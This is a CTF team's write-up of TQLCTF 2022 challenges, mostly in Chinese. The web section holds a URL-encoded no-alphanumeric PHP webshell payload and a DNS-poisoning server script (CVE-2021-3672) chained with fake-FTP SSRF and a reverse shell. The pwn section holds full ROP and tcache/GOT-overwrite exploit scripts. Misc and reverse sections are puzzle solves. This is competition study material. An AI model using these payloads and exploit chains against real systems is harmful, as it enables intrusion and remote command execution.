TQLCTF 2022 By W&M

·
Write - Up no tag February 22, 2022
  • WEB
    • Simple PHP
    • NetworkTools
  • PWN
    • ezvm
    • unbelievable_write
  • Misc
    • Wizard
      • Analyze
      • flag
    • Ranma½
      • Analyze
      • flag
    • the Ohio State University
      • Analyze
      • flag
    • wordle
    • 问卷
    • 签到
  • Reverse
    • Tales of the Arrow

WEB

Simple PHP

/get_pic.php?image=../../../../../../../var/www/html//sandbox/16906266ba0d679522301631018473cc.php

读各种源码

对照生成的sandbox.php和可控点。有三个可控点。

image-20220220212740430

第一个可控点/*

第二个可控点*/;无数字字母webshell;/*

user=guo/*&pass=guoke2&website=ccc&punctuation=%2a%2f%29%3b%24%5f%3d%27%27%3b%24%5f%5b%2b%24%5f%5d%2b%2b%3b%24%5f%3d%24%5f%2e%27%27%3b%24%5f%5f%3d%24%5f%5b%2b%27%27%5d%3b%24%5f%3d%24%5f%5f%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b%2f%2a

NetworkTools

1.注意到dnsproxy镜像给出的pycares版本是不存在的4.1.3版本(当前最新版是4.1.2),从pycares入手。
c-ares的CVE-2021-3672污染dns cache,让token.ftp.testsweb.xyz被解析到自己的vps ip,从而访问自己的ftp服务器。
(点ftp check 看里面的 xxxxxx.ftp.testweb.xyz success来确定自己的token。)

https://c-ares.org/adv_20210810.html

image-20220220210912263

2.在vps_ip:21伪造一个ftp服务器让靶机下载文件(robots.txt),文件内容为POST 127.0.0.1:8080/shellcheck的HTTP请求。

3.同一个ftp服务器,让靶机把下载的文件内容,利用ftp PASV指令发送到指定的ip的端口(127.0.0.1:8080),进行ssrf。
命令执行,反弹shell读取flag。

image-20220220182155948
image-20220220182205233
image-20220220175924843
image-20220220180331641
image-20220220180659659
image-20220220181000564

#主要修改位于dns_response函数内。本脚本原型来自网络。
#pip install dnslib

#!/usr/bin/python3

#Customised dns server for python 3.2+ using dnslib
#Should be run as a daemon, either with the supplied daemon manager, or through
#initscripts/systemd
#
# Based off this:
#     https://gist.github.com/andreif/6069838
#
#

##### Settings (change these): #####
WORKER_USERNAME="nobody"  #Unprivileged user and group to run the worker thread
WORKER_GROUP="nobody"
LISTENING_PORT = 53     #Port to listen on
UDP_LISTEN = True       #Listen on UDP?
TCP_LISTEN = False      #Listen on TCP as well?
ALSO_LOG_STDOUT = True  #Print to stdout as well as logging
LOG_LOCATION = "/var/log/dumbdns-server.log"
MAX_LOG_SIZE = 20000
LOG_ROTATIONS = 1
LOG_HANDLE = "dumbdns-server"

#Location for PID file (Not set here anymore)
#PID file location set in either an init-script, or the provided daemoniser if you 
#choose to use it (dumb-dns-daemon.py)
#PID_FILE = "/var/run/dumbdns.pid" 

# Dns info to serve
domain = 'test1.charas.me.' #Fully Qualified Domain Name, in LOWER CASE
vuln = "token.ftp.testsweb.xyz"
IP = "114.51.41.91" #你的vps ip。
TTL = 30
x = vuln + "\x00."+ domain

import logging
import logging.handlers
import os
import sys
import time
import argparse
import datetime
import threading
import traceback
import socketserver
import struct
import pwd
try:
    from dnslib import *
except ImportError:
    print("Missing dependency dnslib. Please install it with `pip`.")
    sys.exit(2)

class DomainName(str):
    def __getattr__(self, item):
        return DomainName(item + '.' + self)

#D = DomainName(domain)
D = DomainName(x)

soa_record = SOA(
    mname=D.ns1,  # primary name server
    rname=D.spam,  # email of the domain administrator
    times=(
        201506013,  # serial number
        7200,  # refresh 7200
        10800,  # retry  10800
        259200,  # expire 259200
        7200,  # minimum 3600
    )
)

ns_records = [NS(D.ns1), NS(D.ns2)]
records = {
    D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records,
    D.ns1: [A(IP)],  
    D.ns2: [A(IP)],
}

def dns_response(request):

   qname = request.q.qname
   qn = str(qname)
   qtype = request.q.qtype
   qt = QTYPE[qtype]

   reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
   t = RR.fromZone(domain+'           5     IN      CNAME   www.abc.com.')[0] #我找不到这个语法应该怎么写,直接parse了
   t.rdata = dns.CNAME(x)
   reply.add_answer(t)
   reply.add_answer(RR(rname=x, rtype=1, rclass=1, ttl=TTL, rdata=A(IP)))

   return reply

class BaseRequestHandler(socketserver.BaseRequestHandler):

   log = logging.getLogger(LOG_HANDLE)

   def get_data(self):
      raise NotImplementedError

   def send_data(self, data):
      raise NotImplementedError

   def handle(self):
      now = datetime.datetime.now().strftime("%a %d-%b %H:%M:%S")
      self.log.info("{}: request from ({}:{})".format(now, self.client_address[0], self.client_address[1]))
      try:
         data = self.get_data()
         request = DNSRecord.parse(data)
         try:
            #Change this to make the logging more or less verbose
            self.log.info("\t|-> qtype={}, qname={}".format(request.q.qtype, request.q.qname))
         except:
            pass
         data = dns_response(request)
         if(data is not None):
            #Change this to make the logging more or less verbose
            self.log.info("---- Reply:----\n{}\n".format(data))
            self.send_data(data.pack())
            self.log.info("\t|-> Sent reply")
            pass
         else:
            self.log.info("\t|-> Ignoring invalid domain...")
            pass

      except Exception:
         import traceback
         traceback.print_exc()
         self.log.info("\t|-> Ignoring bad packet (caused exception)")

class TCPRequestHandler(BaseRequestHandler):

   def get_data(self):
      data = self.request.recv(8192).strip()
      sz = struct.unpack('>H', data[:2])[0]
      if sz < len(data) - 2:
         raise Exception("Wrong size of TCP packet")
      elif sz > len(data) - 2:
         raise Exception("Too big TCP packet")
      return data[2:]

   def send_data(self, data):
      sz = struct.pack('>H', len(data))
      return self.request.sendall(sz + data)

class UDPRequestHandler(BaseRequestHandler):

   def get_data(self):
      return self.request[0].strip()

   def send_data(self, data):
      return self.request[1].sendto(data, self.client_address)


def startServer():

   servers = []
   if UDP_LISTEN: servers.append(socketserver.ThreadingUDPServer(('0.0.0.0', LISTENING_PORT), UDPRequestHandler))
   if TCP_LISTEN: servers.append(socketserver.ThreadingTCPServer(('0.0.0.0', LISTENING_PORT), TCPRequestHandler))

   log = logging.getLogger(LOG_HANDLE)
   log.setLevel(logging.INFO)
   log_handler = logging.handlers.RotatingFileHandler(LOG_LOCATION, maxBytes=MAX_LOG_SIZE, backupCount=LOG_ROTATIONS)
   log.addHandler(log_handler)
   if(ALSO_LOG_STDOUT):
      log_handler_stdout = logging.StreamHandler(sys.stdout)
      log.addHandler(log_handler_stdout)

   now = datetime.datetime.now().strftime("%a %d-%b %H:%M:%S")
   log.info("{}: Starting nameserver on port {}\n".format(now, LISTENING_PORT))

   #drop privileges (Should be started as root first to bind to port 53)
   try:
      os.setgid(int(pwd.getpwnam(WORKER_GROUP).pw_gid))
      os.setuid(int(pwd.getpwnam(WORKER_USERNAME).pw_uid))
   except:
      sys.exit(2)

   for s in servers:
      thread = threading.Thread(target=s.serve_forever)  
      thread.daemon = True  # exit the server thread when the main thread terminates
      thread.start()

   try:
      while True:
         time.sleep(1)
   except KeyboardInterrupt:
      pass
   finally:
      for s in servers:
         s.shutdown()

if __name__ == '__main__':
   startServer()

PWN

ezvm

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./easyvm"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 1:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


# 0x400000-> 0x410000
asm_code = ''''''
temp_addr = 0x408000


def open_chunk_syscall(name, size):
    global asm_code
    asm_code += shellcraft.pushstr(name)
    asm_code += '''
    mov rax, 2
    mov rdi, rsp
    mov rsi, %d
    syscall
    ''' % (size)


def write_addr_syscall(fd, addr, size):
    global asm_code
    asm_code += '''
       mov rax, 1
       mov rdi, %d
       mov rsi, %d
       mov rdx, %d
       syscall
       ''' % (fd, addr, size)


def write_syscall(fd, content):
    global asm_code
    asm_code += shellcraft.pushstr(content)
    asm_code += '''
    mov rax, 1
    mov rdi, %d
    mov rsi, rsp
    mov rdx, %d
    syscall
    ''' % (fd, len(content))


def read_syscall(fd, addr, size):
    global asm_code
    asm_code += '''
       mov rax, 0
       mov rdi, %d
       mov rsi, %d
       mov rdx, %d
       syscall
       ''' % (fd, addr, size)


def close_syscall(fd):
    global asm_code
    asm_code += '''
          mov rax, 3
          mov rdi, %d
          syscall
          ''' % fd


def read_to_chunk(fd, size):
    read_syscall(0, temp_addr, size)
    write_addr_syscall(fd, temp_addr, size)


def debug():
    global asm_code
    asm_code += '''
          mov rax, 10
          syscall
          '''


def pwn(sh, elf, libc):
    global asm_code
    context.log_level = "debug"
    open_chunk_syscall('a' * 8, 0x88)  # fd = 3
    open_chunk_syscall('b' * 8, 0x88)  # fd = 4
    open_chunk_syscall('x' * 8, 0x88)  # fd = 5

    open_chunk_syscall('i' * 8, 0x48)  # fd = 6
    open_chunk_syscall('p' * 8, 0xE8)  # fd = 7
    open_chunk_syscall('j' * 8, 0xE8)  # fd = 8
    open_chunk_syscall('k' * 8, 0xE8)  # fd = 9

    read_syscall(3, temp_addr, 8)
    write_addr_syscall(1, temp_addr, 8)
    write_syscall(3, 'a' * 0x50)
    close_syscall(5)
    close_syscall(3)
    close_syscall(4)
    open_chunk_syscall('c' * 0x18, 0x88)  # fd = 3

    read_to_chunk(3, 8)

    open_chunk_syscall('x' * 8, 0x88)  # 4
    open_chunk_syscall('y' * 8, 0x88)  # 5 environ

    read_syscall(5, temp_addr, 8)
    write_addr_syscall(1, temp_addr, 8)

    close_syscall(9)
    close_syscall(7)
    close_syscall(8)
    open_chunk_syscall('w' * 0x18, 0xE8)  # fd = 7

    read_to_chunk(7, 8)
    open_chunk_syscall('wjh1', 0xE8)  # 8
    open_chunk_syscall('wjh2', 0xE8)  # 9 ret_addr
    read_to_chunk(9, 0xE8)

    # gdb.attach(sh, "b *$rebase(0x00000000000022B4)")
    sh.sendlineafter("Send your code:", asm(asm_code) + '\x90')

    libc_base = get_address(sh, True, offset=-0x1ec1f0)

    pop_rdi_addr = libc_base + 0x26b72
    pop_rsi_addr = libc_base + 0x27529
    pop_rdx_r12_addr = libc_base + 0x11c371
    pop_rax_addr = libc_base + 0x4a550
    syscall_addr = libc_base + 0x66229
    environ_addr = libc_base + 0x1ef2e0

    sh.send(p64(environ_addr))
    sh.recv(2)
    stack_offset = u64(sh.recv(8))
    log.success("stack_offset:\t" + hex(stack_offset))

    sh.send(p64(stack_offset - 0x100))

    fake_frame_addr = stack_offset - 0x100

    rop_data = [
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        pop_rdi_addr,
        fake_frame_addr + 0xC8,
        syscall_addr,
        pop_rax_addr,  # sys_read(flag_fd, stack, 0x100)
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0xC8,
        pop_rdx_r12_addr,
        0x100,
        0,
        syscall_addr,
        pop_rax_addr,  # sys_write(1, stack, 0x100)
        1,
        pop_rdi_addr,
        1,
        pop_rsi_addr,
        fake_frame_addr + 0xC8,
        syscall_addr
    ]
    payload = flat(rop_data).ljust(0xC8, '\x00') + 'flag\x00'

    sh.send(payload)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

unbelievable_write

free负数到tcache结构体,直接写free_got和target地址到tcache结构体中,然后先申请free_got通过readline覆盖free_got为ret地址,让free失效,然后再malloc一下拿到target地址,然后readline写一下,然后通过后门函数直接拿到flag

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = b"DEBUG"
context.binary = b"./pwn"
def exploit(sh):
    elf = context.binary
    lib = elf.libc
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    ru7f    = lambda                    :u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    ruf7    = lambda                    :u32(sh.recvuntil(b"\xf7")[-4:].ljust(4,b'\x00'))
    lg      = lambda data               :log.success(data)
    def add(size,content):
        sla(">","1")
        sl(size)
        sl(content)
    def back(size):
        sla(">","2")
        sl(size)
    def flag():
        sla(">","3")

    back(str(-0x290))
    payload = p8(1)*0x40
    payload = payload.ljust(0x90,"\x00") + p64(0x404018)*0x16 + p64(0x404080) * 0x16
    add(0x290 - 0x8,payload)
    payload = p64(0x4013BE) + p64(0x0000000000401040) + p64(0x0000000000401050)

    add(0xa0 - 8,payload)
    add(0x1a0-8,p64(0xdeadbeefdeadbeef))
    flag()

    return sh
if __name__ == '__main__':
    if len(sys.argv) == 1:
        sh = context.binary.process()
    else:
        sh = remote(sys.argv[1],int(sys.argv[2]))
    exploit(sh).interactive()

image-20220221181033319

Misc

Wizard

Analyze

过前验,然后发现后面m也就不到500,算了下有1/500的概率(比我抽卡概率高多了)爆破出flag,直接开摆爆破,结果爆破出来了

from lib2to3.pgen2.token import RPAR
from pwn import *
import hashlib,re,string,itertools,random

def QY(lenth):
    flag = 0
    tt = [''.join(i) for i in list(itertools.product(table, repeat=lenth))]
    for i in range(len(tt)):
        if hashlib.sha256(('TQLCTF'+tt[i]).encode()).hexdigest().startswith(_sha256.decode()):
            flag = 1
            return flag,tt[i]
    return flag,''

while 1:
    p = remote("120.79.12.160",34435)
    data = p.recvuntil(b':')
    _sha256 = re.findall(b'starts with (.*?)\n',data)[0]
    table = string.printable
    lenth = 3
    flag , res = QY(lenth)
    count = 0
    if flag == 0:
        p.close()
        continue

    print(res)
    p.sendline(res.encode())
    try:
        p.recvuntil(b"Let's start!")
    except:
        continue
    data2 = p.recv()
    # print(data2)c
    # print(re.findall(b'm = (.*?)\n',data2))
    m = int(re.findall(b'm = (.*?)\n',data2)[0])
    guess = str(random.randint(0,m))
    p.sendline(('G '+guess).encode())
    data3 = p.recv()
    if b"You are wrong!" not in data3:
        print(data3)
        break
    else:
        print(data3,guess,m)
    p.close()

image-20220220112637029

flag

TQLCTF{34ac522d-197d-4683-8ff4-af1e4f5ca416}

Ranma½

Analyze

感觉本来想让我们找正确的编码的,最后发现vim打得开

image-20220220112921784

得到

KGR/QRI 10646-1 zswtqgg d tnxcs tsdtofbrx osk ndnzhl gna Ietygfviy Idoilfvsu Arz (QQJ) hkkqk maikaglvusv ubyp cw ekg krzyj'o kitwkbj alypsdd.  Wjs rzvmebrwoa duwcuosu pqecgqamo cw ekg IFA, uussmpu, ysum aup qfxschljyk swks pcbb khxnsee drdoqpgpwfyv cbg xeupctzou, oql gneg ylv nsg bb zds upygzrxzkjh fq XVT-8, wpr uxxvnw qt wpvy isdz. XVT-8 kif zds tsdtofbrxegktf qt szryafmtqi hkm sahz LD-DUQLQ egjuv, auqjllvtc qfxschljvrehp hlvv iqyk omjehog, sieyafj lqf cwprx ocwezcfh bugp fvwb qb XA-NYYWZ gdniha oap oip wtoqacgnsee wq cwprx rocfhu. HTTPZB{QFOLP6_KRZ1Q}

很容易看得出来是维吉尼亚,直接在线网站破解得到

ISO/IEC 10646-1 defines a large character set called the Universal Character Set (UCS) which encompasses most of the world's writing systems.  The originally proposed encodings of the UCS, however, were not compatible with many current applications and protocols, and this has led to the development of UTF-8, the object of this memo. UTF-8 has the characteristic of preserving the full US-ASCII range, providing compatibility with file systems, parsers and other software that rely on US-ASCII values but are transparent to other values. TQLCTF{CODIN6_WOR1D}

flag

TQLCTF{CODIN6_WOR1D}

the Ohio State University

Analyze

音游人当然一开始就去找到粪铺不对劲的地方(x,最难的那块后面有大量的重复,然后还蛮有规律

image-20220220114008717

这可以看到铺子有大量重复,我们一组组提取出来转化成0和1得到

00110101
01001000
01101111
01010111
01110100
01001001
01101101
01100101
01111101

二进制后得到5HoWtIme},应该是一部分flag

然后把曲包解压

image-20220220115354047

图片属性有pwdpwd: VVelcome!!应该是某种工具隐写,fuzz后发现是steghide

image-20220220120144438

得到TQLCTF{VVElcOM3

然后再basic的osu中发现WAVPassword: MisoilePunch,有个WAV的密码,然后fuzz后发现是音频LSB,里面8个wav分别用SilentEye解,可以试出来是boom.wav,得到

image-20220220120917722

得到_TO_O$u_i7s_,拼接完后得到flag

flag

TQLCTF{VVElcOM3_TO_O$u_i7s_5HoWtIme}

wordle

from pwn.toplevel import remote
import json
from randcrack import RandCrack


with open('allowed_guesses.txt', 'r') as f:
    allowed_guesses = set([x.strip() for x in f.readlines()])

with open('valid_words.txt', 'r') as f:
    valid_words = [x.strip() for x in f.readlines()]

GREEN = b'\033[42m  \033[0m'
YELLOW = b'\033[43m  \033[0m'
WHITE = b'\033[47m  \033[0m'


def get_challenge(rc: RandCrack):
    id = rc.predict_randrange(len(valid_words) * (2 ** 20))
    answer = valid_words[id % len(valid_words)]
    id = (id // len(valid_words)) ^ (id % len(valid_words))
    return id, answer

def to_challenge(ans: str, id: int) -> int:
    answer = valid_words.index(ans) # id % len(valid_words)
    _id = id ^ answer # id // len(valid_words)
    return _id * len(valid_words) + answer

def process_ans(s: bytes) -> str:
    s = s.replace(GREEN, b"G").replace(
        YELLOW, b"Y").replace(WHITE, b"B").replace(b" ", b'')
    return s.decode()


with open("5.json") as f:
    tree = json.load(f)[1]

proc = remote("47.106.102.129", 36085)
rc = RandCrack()

proc.sendlineafter("> ", b"2")

while True:
    word = "salet"

    root = tree
    cnt = 1
    r = proc.recvline()
    if not r.startswith(b"Round"):
        print(r)
        break
    _, round, id = r.split()
    round = int(round[:-1])
    id = int(id[1:], 16)
    print(f"{round=} {id=}")
    while True:
        proc.sendlineafter("> ", word.encode())
        ans = process_ans(proc.recvline().split(b"!")[1].strip())
        if ans == "GGGGG":
            break
        word, root = root[ans+str(cnt)]
        cnt = cnt+1
    ans_id = valid_words.index(word)
    # id = (id // len(valid_words)) ^ (id % len(valid_words))
    id = (id ^ ans_id) * len(valid_words) + ans_id
    rc.submit(id)

proc.sendlineafter("> ", b"2")

while True:
    word = "salet"

    root = tree
    cnt = 1
    r = proc.recvline()
    if not r.startswith(b"Round"):
        break
    _, round, id = r.split()
    round = int(round[:-1])
    id = int(id[1:], 16)
    print(f"{round=} {id=}")
    while True:
        proc.sendlineafter("> ", word.encode())
        ans = process_ans(proc.recvline().split(b"!")[1].strip())
        if ans == "GGGGG":
            break
        word, root = root[ans+str(cnt)]
        cnt = cnt+1
    if not rc.state:
        rc.submit(to_challenge(word, id))
    else:
        print("assert")
        pred_id, answer = get_challenge(rc)
        assert pred_id == id
        assert answer == word

proc.sendlineafter("> ", b"3")
while True:
    r = proc.recvline()
    if not r.startswith(b"Round"):
        break
    _, round, id = r.split()
    round = int(round[:-1])
    id = int(id[1:], 16)
    print(f"{round=} {id=}")
    pred_id, answer = get_challenge(rc)
    assert pred_id == id
    proc.sendlineafter("> ", answer.encode())
    ans = process_ans(proc.recvline().split(b"!")[1].strip())
    print(f"{answer=} {ans=}")
proc.interactive()

https://github.com/alex1770/wordle.git

改一下这个,让他输出决策树

./wordle -a ../allowed_guesses.txt -h ../valid_words.txt -w salet -g4 -p a.txt

用这个数据跑hard能过

easy是NULL

mid是rick roll

hard是乱序

所以必须跑insane

只要连接不断,可以一直开新的一轮,随机数种子不变

所以随便跑两轮前面的,然后推最后一轮的id就行了

问卷

签到

Reverse

Tales of the Arrow

image-20220221181429801

可以看到正确与错误的应该是一半对一半
但是如果是可见字符 那么8位的bit的第一位不能为0,所以根据这个原则进行筛选

image-20220221181445941

判断有两个0的情况剩下的一定为真

image-20220221181456130

再通过记录出的相反数,再次筛选一次结果从而得到成功序列

aa = "01110011011001010110010101011111011110010110111101110101010111110110100101101110010111110110011101100001011011000110000101111000011110010"

str1 = ""

for i in range(len(aa)):

  if(i%8==0):

​    str1 += chr(int(aa[i:i+8],2))

print(str1)
  • ByteCTF 2021 Final By W&M
  • SUSCTF 2022 By W&M
取消回复

说点什么?

© 2025 W&M Team. Using Typecho & Moricolor.